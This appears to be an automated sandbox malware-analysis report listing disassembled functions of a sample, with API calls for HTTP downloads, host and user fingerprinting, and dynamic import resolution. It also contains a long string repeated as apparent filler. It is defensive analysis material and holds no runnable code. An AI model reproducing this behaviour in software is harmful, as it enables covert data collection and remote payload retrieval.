                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: AllocateHeapProtectVirtual
                                      • String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
                                      • API String ID: 1542196881-2218711628
                                      • Opcode ID: d97f4390c073a75e58d28b46a2dc1df2dc545cc4cbcff0cebc184c193140abdf
                                      • Instruction ID: 320a0190f1cee614f03bdfbb63311be05bee5c717883a68e79f0ec26012cbdd2
                                      • Opcode Fuzzy Hash: d97f4390c073a75e58d28b46a2dc1df2dc545cc4cbcff0cebc184c193140abdf
                                      • Instruction Fuzzy Hash: 114155607C361CAEE625BBBC8842DDDB653FF82F0AF4D5840A88552296DAF067804776
                                      Function 005F62D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 1033 5f62d0-5f635b call 60aab0 call 5f4800 call 60aa50 InternetOpenA StrCmpCA 1040 5f635d 1033->1040 1041 5f6364-5f6368 1033->1041 1040->1041 1042 5f636e-5f6392 InternetConnectA 1041->1042 1043 5f6559-5f6575 call 60aab0 call 60ab10 * 2 1041->1043 1045 5f654f-5f6553 InternetCloseHandle 1042->1045 1046 5f6398-5f639c 1042->1046 1062 5f6578-5f657d 1043->1062 1045->1043 1048 5f639e-5f63a8 1046->1048 1049 5f63aa 1046->1049 1051 5f63b4-5f63e2 HttpOpenRequestA 1048->1051 1049->1051 1053 5f63e8-5f63ec 1051->1053 1054 5f6545-5f6549 InternetCloseHandle 1051->1054 1056 5f63ee-5f640f InternetSetOptionA 1053->1056 1057 5f6415-5f6455 HttpSendRequestA HttpQueryInfoA 1053->1057 1054->1045 1056->1057 1059 5f647c-5f649b call 608ad0 1057->1059 1060 5f6457-5f6477 call 60aa50 call 60ab10 * 2 1057->1060 1067 5f649d-5f64a4 1059->1067 1068 5f6519-5f6539 call 60aa50 call 60ab10 * 2 1059->1068 1060->1062 1071 5f6517-5f653f InternetCloseHandle 1067->1071 1072 5f64a6-5f64d0 InternetReadFile 1067->1072 1068->1062 1071->1054 1076 5f64db 1072->1076 1077 5f64d2-5f64d9 1072->1077 1076->1071 1077->1076 1080 5f64dd-5f6515 call 60acc0 call 60abb0 call 60ab10 1077->1080 1080->1072
                                      APIs
                                        • Part of subcall function 0060AAB0: lstrcpy.KERNEL32(?,00000000), ref: 0060AAF6
                                        • Part of subcall function 005F4800: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005F4889
                                        • Part of subcall function 005F4800: InternetCrackUrlA.WININET(00000000,00000000), ref: 005F4899
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      • InternetOpenA.WININET(00610DFF,00000001,00000000,00000000,00000000), ref: 005F6331
                                      • StrCmpCA.SHLWAPI(?,00F4FD10), ref: 005F6353
                                      • InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 005F6385
                                      • HttpOpenRequestA.WININET(00000000,GET,?,00F4F4E8,00000000,00000000,00400100,00000000), ref: 005F63D5
                                      • InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 005F640F
                                      • HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 005F6421
                                      • HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 005F644D
                                      • InternetReadFile.WININET(00000000,?,000007CF,?), ref: 005F64BD
                                      • InternetCloseHandle.WININET(00000000), ref: 005F653F
                                      • InternetCloseHandle.WININET(00000000), ref: 005F6549
                                      • InternetCloseHandle.WININET(00000000), ref: 005F6553
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$ConnectCrackFileInfoOptionQueryReadSendlstrlen
                                      • String ID: ERROR$ERROR$GET
                                      • API String ID: 3749127164-2509457195
                                      • Opcode ID: 80e8ea345e4d658ba3b35f9dab50a40246920fd52b2dd2fbbc6befb55542a3ab
                                      • Instruction ID: 4147ef5847c3d6b10ccf8da37c7752b8a255739c37e2e1ea2517f5366fa5e38b
                                      • Opcode Fuzzy Hash: 80e8ea345e4d658ba3b35f9dab50a40246920fd52b2dd2fbbc6befb55542a3ab
                                      • Instruction Fuzzy Hash: 47715B71A40218ABDB24EFE0CC59FEE7779BB44700F508598F20A6B1D4DBB46A84CF55
                                      Function 00607690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 1356 607690-6076da GetWindowsDirectoryA 1357 6076e3-607757 GetVolumeInformationA call 608e90 * 3 1356->1357 1358 6076dc 1356->1358 1365 607768-60776f 1357->1365 1358->1357 1366 607771-60778a call 608e90 1365->1366 1367 60778c-6077a7 GetProcessHeap RtlAllocateHeap 1365->1367 1366->1365 1369 6077b8-6077e8 wsprintfA call 60aa50 1367->1369 1370 6077a9-6077b6 call 60aa50 1367->1370 1377 60780e-60781e 1369->1377 1370->1377
                                      APIs
                                      • GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 006076D2
                                      • GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0060770F
                                      • GetProcessHeap.KERNEL32(00000000,00000104), ref: 00607793
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 0060779A
                                      • wsprintfA.USER32 ref: 006077D0
                                        • Part of subcall function 0060AA50: lstrcpy.KERNEL32(00610E1A,00000000), ref: 0060AA98
                                      Strings
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
                                      • String ID: :$C$\
                                      • API String ID: 1544550907-3809124531
                                      • Opcode ID: 5f850fee197307f5d208fd3150609ba96242db70ed4961d4f37225ac2bffb52d
                                      • Instruction ID: 93c2af4d10ddfd57987e1c3609f170ea169362ef9a01e202da63a43d8bfdb172
                                      • Opcode Fuzzy Hash: 5f850fee197307f5d208fd3150609ba96242db70ed4961d4f37225ac2bffb52d
                                      • Instruction Fuzzy Hash: AD418FB1D44248ABDB14DB94DC85FDEBBB9AF08700F104099F609AB2C0D7746A44CBA5
                                      Function 006079E0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON
                                      Download Yara Rule
                                      APIs
                                      • GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005F11B7), ref: 00607A10
                                      • RtlAllocateHeap.NTDLL(00000000), ref: 00607A17
                                      • GetUserNameA.ADVAPI32(00000104,00000104), ref: 00607A2F
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: Heap$AllocateNameProcessUser
                                      • String ID:
                                      • API String ID: 1296208442-0
                                      • Opcode ID: a0c87c76d6f5e482d35b0c535b2a125e76650eda8e6e1505f88c2a4bca07e80c
                                      • Instruction ID: 7548bc9d486833cce56649c1dabcce050aef418c086a18e57fe09cf146d5ca95
                                      • Opcode Fuzzy Hash: a0c87c76d6f5e482d35b0c535b2a125e76650eda8e6e1505f88c2a4bca07e80c
                                      • Instruction Fuzzy Hash: 70F04FB1948209EBCB04DF98DD45FAEBBB8FB05711F10021AF615A2680C7B515008BA1
                                      Function 005F1160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON
                                      Download Yara Rule
                                      APIs
                                      Memory Dump Source
                                      • Source File: 00000000.00000002.2184845455.00000000005F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005F0000, based on PE: true
                                      • Associated: 00000000.00000002.2184157959.00000000005F0000.00000004.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000061C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000072D000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.0000000000739000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.000000000075E000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2184845455.00000000008C6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.00000000008DA000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000A5C000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B40000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B63000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B6A000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2186375933.0000000000B79000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189670759.0000000000B7A000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189782115.0000000000D18000.00000040.00000001.01000000.00000003.sdmpDownload File
                                      • Associated: 00000000.00000002.2189798739.0000000000D19000.00000080.00000001.01000000.00000003.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_0_2_5f0000_file.jbxd
                                      Yara matches
                                      Similarity
                                      • API ID: ExitInfoProcessSystem
                                      • String ID:
                                      • API String ID: 752954902-0
                                      • Opcode ID: 2b10595084d593a76263914c1a173fcf2f88723218de78fa10c303bf2f375b11
                                      • Instruction ID: d551d7cb152a5fe32e50cad5b6b7fa13a3880e2f161df16013adf1341301ae3e
                                      • Opcode Fuzzy Hash: 2b10595084d593a76263914c1a173fcf2f88723218de78fa10c303bf2f375b11
                                      • Instruction Fuzzy Hash: E0D09E7490430CDBCB04DFE19949AEDBB78BB08625F140555D90562640EA315455CA65
                                      Function 00609F20 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684libraryloaderCOMMON
                                      Download Yara Rule

                                      Control-flow Graph

                                      • Executed
                                      • Not Executed
                                      control_flow_graph 633 609f20-609f2a 634 609f30-60a341 GetProcAddress * 43 633->634 635 60a346-60a3da LoadLibraryA * 8 633->635 634->635 636 60a456-60a45d 635->636 637 60a3dc-60a451 GetProcAddress * 5 635->637 638 60a463-60a521 GetProcAddress * 8 636->638 639 60a526-60a52d 636->639 637->636 638->639 640 60a5a8-60a5af 639->640 641 60a52f-60a5a3 GetProcAddress * 5 639->641 642 60a5b5-60a642 GetProcAddress * 6 640->642 643 60a647-60a64e 640->643 641->640 642->643 644 60a654-60a72a GetProcAddress * 9 643->644 645 60a72f-60a736 643->645 644->645 646 60a7b2-60a7b9 645->646 647 60a738-60a7ad GetProcAddress * 5 645->647 648 60a7bb-60a7e7 GetProcAddress * 2 646->648 649 60a7ec-60a7f3 646->649 647->646 648->649 650 60a825-60a82c 649->650 651 60a7f5-60a820 GetProcAddress * 2 649->651 652 60a922-60a929 650->652 653 60a832-60a91d GetProcAddress * 10 650->653 651->650 654 60a92b-60a988 GetProcAddress * 4 652->654 655 60a98d-60a994 652->655 653->652 654->655 656 60a996-60a9a9 GetProcAddress 655->656 657 60a9ae-60a9b5 655->657 656->657 658 60a9b7-60aa13 GetProcAddress * 4 657->658 659 60aa18-60aa19 657->659 658->659
                                      APIs
                                      • GetProcAddress.KERNEL32(76210000,00F35548), ref: 00609F3D
                                      • GetProcAddress.KERNEL32(76210000,00F35668), ref: 00609F55
                                      • GetProcAddress.KERNEL32(76210000,00F49040), ref: 00609F6E
                                      • GetProcAddress.KERNEL32(76210000,00F49070), ref: 00609F86
                                      • GetProcAddress.KERNEL32(76210000,00F48FB0), ref: 00609F9E
                                      • GetProcAddress.KERNEL32(76210000,00F4DE08), ref: 00609FB7
                                      • GetProcAddress.KERNEL32(76210000,00F3A7C0), ref: 00609FCF
                                      • GetProcAddress.KERNEL32(76210000,00F4DE68), ref: 00609FE7
                                      • GetProcAddress.KERNEL32(76210000,00F4DE50), ref: 0060A000
                                      • GetProcAddress.KERNEL32(76210000,00F4DDD8), ref: 0060A018
                                      • GetProcAddress.KERNEL32(76210000,00F4DEF8), ref: 0060A030
                                      • GetProcAddress.KERNEL32(76210000,00F353C8), ref: 0060A049
                                      • GetProcAddress.KERNEL32(76210000,00F35508), ref: 0060A061
                                      • GetProcAddress.KERNEL32(76210000,00F354C8), ref: 0060A079
                                      • GetProcAddress.KERNEL32(76210000,00F356E8), ref: 0060A092
                                      • GetProcAddress.KERNEL32(76210000,00F4DF10), ref: 0060A0AA
                                      • GetProcAddress.KERNEL32(76210000,00F4DF58), ref: 0060A0C2
                                      • GetProcAddress.KERNEL32(76210000,00F3A928), ref: 0060A0DB
                                      • GetProcAddress.KERNEL32(76210000,00F35368), ref: 0060A0F3
                                      • GetProcAddress.KERNEL32(76210000,00F4DE80), ref: 0060A10B
                                      • GetProcAddress.KERNEL32(76210000,00F4DF28), ref: 0060A124
                                      • GetProcAddress.KERNEL32(76210000,00F4DF40), ref: 0060A13C
                                      • GetProcAddress.KERNEL32(76210000,00F4DE98), ref: 0060A154
                                      • GetProcAddress.KERNEL32(76210000,00F354E8), ref: 0060A16D
                                      • GetProcAddress.KERNEL32(76210000,00F4DDF0), ref: 0060A185
                                      • GetProcAddress.KERNEL32(76210000,00F4DEB0), ref: 0060A19D
                                      • GetProcAddress.KERNEL32(76210000,00F4DE38), ref: 0060A1B6
                                      • GetProcAddress.KERNEL32(76210000,00F4DEC8), ref: 0060A1CE
                                      • GetProcAddress.KERNEL32(76210000,00F4DF70), ref: 0060A1E6
                                      • GetProcAddress.KERNEL32(76210000,00F4DDC0), ref: 0060A1FF
                                      • GetProcAddress.KERNEL32(76210000,00F4DEE0), ref: 0060A217
                                      • GetProcAddress.KERNEL32(76210000,00F4DE20), ref: 0060A22F
                                      • GetProcAddress.KERNEL32(76210000,00F4DA48), ref: 0060A248
                                      • GetProcAddress.KERNEL32(76210000,00F3FDD8), ref: 0060A260
                                      • GetProcAddress.KERNEL32(76210000,00F4D910), ref: 0060A278
                                      • GetProcAddress.KERNEL32(76210000,00F4D838), ref: 0060A291
                                      • GetProcAddress.KERNEL32(76210000,00F35528), ref: 0060A2A9
                                      • GetProcAddress.KERNEL32(76210000,00F4D808), ref: 0060A2C1
                                      • GetProcAddress.KERNEL32(76210000,00F35388), ref: 0060A2DA
                                      • GetProcAddress.KERNEL32(76210000,00F4DAA8), ref: 0060A2F2
                                      • GetProcAddress.KERNEL32(76210000,00F4D958), ref: 0060A30A
                                      • GetProcAddress.KERNEL32(76210000,00F353E8), ref: 0060A323
                                      • GetProcAddress.KERNEL32(76210000,00F35408), ref: 0060A33B
                                      • LoadLibraryA.KERNEL32(00F4D970,?,00605EF3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE7), ref: 0060A34D
                                      • LoadLibraryA.KERNEL32(00F4D9D0,?,00605EF3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE7), ref: 0060A35E
                                      • LoadLibraryA.KERNEL32(00F4DA30,?,00605EF3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE7), ref: 0060A370
                                      • LoadLibraryA.KERNEL32(00F4D988,?,00605EF3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE7), ref: 0060A382
                                      • LoadLibraryA.KERNEL32(00F4D7C0,?,00605EF3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE7), ref: 0060A393
                                      • LoadLibraryA.KERNEL32(00F4D9E8,?,00605EF3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE7), ref: 0060A3A5
                                      • LoadLibraryA.KERNEL32(00F4D8C8,?,00605EF3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE7), ref: 0060A3B7
                                      • LoadLibraryA.KERNEL32(00F4D8E0,?,00605EF3,00610AEB,?,?,?,?,?,?,?,?,?,?,00610AEA,00610AE7), ref: 0060A3C8
                                      • GetProcAddress.KERNEL32(751E0000,00F35288), ref: 0060A3EA
                                      • GetProcAddress.KERNEL32(751E0000,00F4D9A0), ref: 0060A402
                                      • GetProcAddress.KERNEL32(751E0000,00F48BB8), ref: 0060A41A
                                      • GetProcAddress.KERNEL32(751E0000,00F4D880), ref: 0060A433
                                      • GetProcAddress.KERNEL32(751E0000,00F35268), ref: 0060A44B
                                      • GetProcAddress.KERNEL32(701C0000,00F3A900), ref: 0060A470
                                      • GetProcAddress.KERNEL32(701C0000,00F350C8), ref: 0060A489
                                      • GetProcAddress.KERNEL32(701C0000,00F3A798), ref: 0060A4A1
                                      • GetProcAddress.KERNEL32(701C0000,00F4D8F8), ref: 0060A4B9
                                      • GetProcAddress.KERNEL32(701C0000,00F4DA78), ref: 0060A4D2
                                      • GetProcAddress.KERNEL32(701C0000,00F34F48), ref: 0060A4EA
                                      • GetProcAddress.KERNEL32(701C0000,00F352A8), ref: 0060A502
                                      • GetProcAddress.KERNEL32(701C0000,00F4D9B8), ref: 0060A51B
                                      • GetProcAddress.KERNEL32(753A0000,00F34F68), ref: 0060A53C
                                      • GetProcAddress.KERNEL32(753A0000,00F35028), ref: 0060A554
                                      • GetProcAddress.KERNEL32(753A0000,00F4D820), ref: 0060A56D
                                      • GetProcAddress.KERNEL32(753A0000,00F4D8B0), ref: 0060A585
                                      • GetProcAddress.KERNEL32(753A0000,00F35088), ref: 0060A59D
                                      • GetProcAddress.KERNEL32(76310000,00F3A748), ref: 0060A5C3
                                      • GetProcAddress.KERNEL32(76310000,00F3A8B0), ref: 0060A5DB
                                      • GetProcAddress.KERNEL32(76310000,00F4D850), ref: 0060A5F3
                                      • GetProcAddress.KERNEL32(76310000,00F350E8), ref: 0060A60C
                                      • GetProcAddress.KERNEL32(76310000,00F35108), ref: 0060A624
                                      • GetProcAddress.KERNEL32(76310000,00F3A8D8), ref: 0060A63C
                                      • GetProcAddress.KERNEL32(76910000,00F4D868), ref: 0060A662
                                      • GetProcAddress.KERNEL32(76910000,00F35128), ref: 0060A67A
                                      • GetProcAddress.KERNEL32(76910000,00F48BA8), ref: 0060A692
                                      • GetProcAddress.KERNEL32(76910000,00F4DA00), ref: 0060A6AB
                                      • GetProcAddress.KERNEL32(76910000,00F4DA90), ref: 0060A6C3
                                      • GetProcAddress.KERNEL32(76910000,00F34FA8), ref: 0060A6DB
                                      • GetProcAddress.KERNEL32(76910000,00F351E8), ref: 0060A6F4
                                      • GetProcAddress.KERNEL32(76910000,00F4D898), ref: 0060A70C
